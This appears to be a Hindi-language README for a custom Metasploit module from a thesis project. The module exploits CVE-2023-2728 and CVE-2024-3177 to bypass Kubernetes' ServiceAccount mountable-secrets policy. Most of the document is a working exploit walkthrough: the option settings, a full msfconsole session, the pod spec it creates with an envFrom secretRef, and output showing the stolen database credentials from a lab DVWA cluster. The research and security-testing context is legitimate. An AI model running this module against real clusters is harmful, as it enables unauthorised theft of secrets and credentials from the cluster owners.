CVE 2023-2728 और CVE 2024-3177 के लिए कस्टम Metasploit मॉड्यूल

विवरण

यह कस्टम मॉड्यूल Kubernetes के उन संस्करणों में CVE 2023-2728 और CVE 2024-3177 का शोषण करता है जो इनमें से प्रत्येक के लिए संवेदनशील हैं (उदाहरण के लिए v1.27.2 दोनों के लिए संवेदनशील है), दोनों Kubernetes में ServiceAccount एडमिशन प्लगइन द्वारा लागू माउंटेबल सीक्रेट्स नीति को बायपास करने से संबंधित हैं, विभिन्न प्रकार के कंटेनरों और रणनीतियों के साथ।
मुख्य उद्देश्य वांछित सीक्रेट्स प्राप्त करना और उन्हें उपयोगकर्ता के लिए आकर्षक तरीके से पर्यावरण चर में प्रस्तुत करना है।

सत्यापन चरण

क्रेडेंशियल्स बनाएं या प्राप्त करें

msfconsole प्रारंभ करें
करें: use auxiliary/cloud/kubernetes/double_secrets_cve
आवश्यक विकल्प सेट करें
करें: run.
आपको SECRET_NAME विकल्प में निर्दिष्ट सीक्रेट्स लाल रंग में हाइलाइटेड दिखने चाहिए।

विकल्प

CONTAINER_TYPE

लक्ष्य क्लस्टर में बनाए गए Pod में उपयोग करने के लिए कंटेनर के प्रकार को परिभाषित करता है। यह normal (नियमित कंटेनरों के समतुल्य), init, या ephemeral हो सकता है।

CVE

आपको उस भेद्यता का चयन करने की अनुमति देता है जिसका आप शोषण करना चाहते हैं। उपलब्ध विकल्प 2024-3177 और 2023-2728 हैं। यदि कोई अन्य भेद्यता निर्दिष्ट की जाती है, तो मॉड्यूल इसे पहचान नहीं पाएगा और एक त्रुटि देगा, जो एक सामान्य परिणाम है।

IMAGE

Pod बनाने के लिए उपयोग किए जाने वाले कंटेनर इमेज को निर्दिष्ट करता है, जैसे busybox, डिफ़ॉल्ट विकल्प, क्योंकि यह अपनी हल्की और बहुमुखी प्रतिभा के कारण एक बहुत उपयोगी इमेज है, जो कई लिनक्स उपयोगिताओं को एक ही छोटे निष्पादन योग्य में समूहित करता है और Unix में सबसे सामान्य उपयोगिताओं जैसे ls, cp, mv, cat, या sh को जोड़ता है, जो इसे सीमित संसाधनों वाले सिस्टम या त्वरित परीक्षणों के लिए बहुत उपयुक्त बनाता है, जैसा कि यहाँ हो सकता है, जहाँ किसी विशिष्ट इमेज की आवश्यकता नहीं है, बस Pod सही ढंग से बनना चाहिए।

NAMESPACE

Kubernetes में उस namespace को इंगित करता है जहाँ Pod बनाया जाएगा, जो उसी namespace में होना चाहिए जहाँ प्रकट किया जाने वाला secret स्थित है।

POD_NAME

बनाए जाने वाले Pod को दिए जाने वाले नाम को परिभाषित करता है।

PROXIES

उपयोग करने के लिए प्रॉक्सी का स्ट्रिंग, प्रारूप में type:host:port[,type:host:port][...]। यह एक मानक Metasploit विकल्प है, जो इस मॉड्यूल में उपयोग नहीं किया जाता है।

RHOSTS

लक्ष्य का IP पता या IP पता श्रेणी निर्दिष्ट करता है, इस मामले में कुबेरनेट्स क्लस्टर जहाँ आप भेद्यता का शोषण करना चाहते हैं। यह विकल्प Metasploit में डिफ़ॉल्ट विकल्पों में से एक है।

RPORT

लक्ष्य के TCP पोर्ट को परिभाषित करता है जिससे मॉड्यूल जुड़ेगा। यह एक मानक Metasploit विकल्प है।

SECRET_NAME

Kubernetes में उस secret का नाम निर्दिष्ट करता है जिसे आप प्रकट करना चाहते हैं, इसके लिए आपके पास आवश्यक अनुमतियाँ होनी चाहिए।

SESSION

आपको यह परिभाषित करने की अनुमति देता है कि किसी मौजूदा सत्र का पुन: उपयोग करना है या नहीं। इस मॉड्यूल में, यह विकल्प प्रासंगिक नहीं है, और वैकल्पिक है। यह एक डिफ़ॉल्ट विकल्प है।

SSL

निर्धारित करता है कि आउटगोइंग कनेक्शन के लिए SSL/TLS कनेक्शन पर बातचीत की जानी चाहिए या नहीं। यह एक मानक Metasploit विकल्प है और इसे सक्षम करना अनिवार्य नहीं है, यह इस बात पर निर्भर करता है कि प्रश्न में उपयोगकर्ता आपके लक्ष्य क्लस्टर से कैसे जुड़ता है।

TARGET_URI

लक्षित Kubernetes API के लिए आधार पथ निर्दिष्ट करता है, उदाहरण के लिए, /api/v1। यह विकल्प कस्टम है और मॉड्यूल में कुछ कनेक्शन शेड्यूल करना आसान बनाने के लिए उपयोग किया जाता है।

TOKEN

प्रमाणीकरण टोकन को परिभाषित करता है जिसका उपयोग Kubernetes API के साथ बातचीत करने के लिए किया जाएगा, यह महत्वपूर्ण है कि इस टोकन में आवश्यक अनुमतियाँ हों, अन्यथा क्लस्टर के भीतर कुछ संसाधनों को बनाने या गणना करने की अनुमति न होने के कारण मॉड्यूल विफल हो जाएगा।

VHOST

एक HTTP वर्चुअल होस्ट निर्दिष्ट करने की अनुमति देता है। यह एक मानक Metasploit विकल्प है जो मॉड्यूल में उपयोग नहीं किया जाता है।

परिदृश्य

नोट: मार्कडाउन में सीक्रेट्स को शुरू और अंत में ** SECRET ** के रूप में चिह्नित किया गया है, कोड में ऐसा नहीं है, क्योंकि उपयोगकर्ता की बेहतर दृश्यता के लिए उन्हें लाल रंग में हाइलाइट किया गया है, जो GitHub प्लेटफ़ॉर्म पर Markdown भाषा की सीमाओं के कारण README फ़ाइल में नहीं किया जा सका।

CVE-2024-3177 का शोषण करने के लिए regular containers के साथ चलाएं (डिफ़ॉल्ट विकल्प)

SECRET_NAME विकल्प में निर्दिष्ट सीक्रेट्स को सूचीबद्ध करने के लिए RHOST और TOKEN स्पष्ट रूप से सेट करना:

msf6 > use cloud/kubernetes/double_secrets_cve
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE normal
CONTAINER_TYPE => normal
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2
RHOSTS => 192.168.49.2
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443
RPORT => 8443
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets
SECRET_NAME => dvwa-secrets
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql
NAMESPACE => dvwa-tfm-mysql
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-1
POD_NAME => cve-pod-1
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run
[*] Running module against 192.168.49.2

[*] Fetching Kubernetes server version...
[+] Kubernetes server version: v1.27.2
[+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE.
[*] Creating pod with the following spec: {"apiVersion":"v1","kind":"Pod","metadata":{"name":"cve-pod-1","namespace":"dvwa-tfm-mysql"},"spec":{"containers":[{"name":"main-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"],"envFrom":[{"secretRef":{"name":"dvwa-secrets"}}]}],"restartPolicy":"Never"}}
[*] Pod not found, creating a new one.
[+] Pod created successfully: cve-pod-1
[*] Waiting for pod cve-pod-1 to be ready...
[*] Pod cve-pod-1 status: Pending
[+] Pod cve-pod-1 is running.
[*] Established Kubernetes client.
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252
HOSTNAME=cve-pod-1
SHLVL=1
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306
HOME=/root
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp
DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252
** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET **
DVWA_MYSQL_SERVICE_SERVICE_PORT=3306
DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
** SECRET ** DVWA_DATABASE=dvwa ** SECRET **
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1
PWD=/
[+] Successfully retrieved environment variables from pod cve-pod-1
[*] Auxiliary module execution completed

Metasploit-Module-TFM

सबसे लोकप्रिय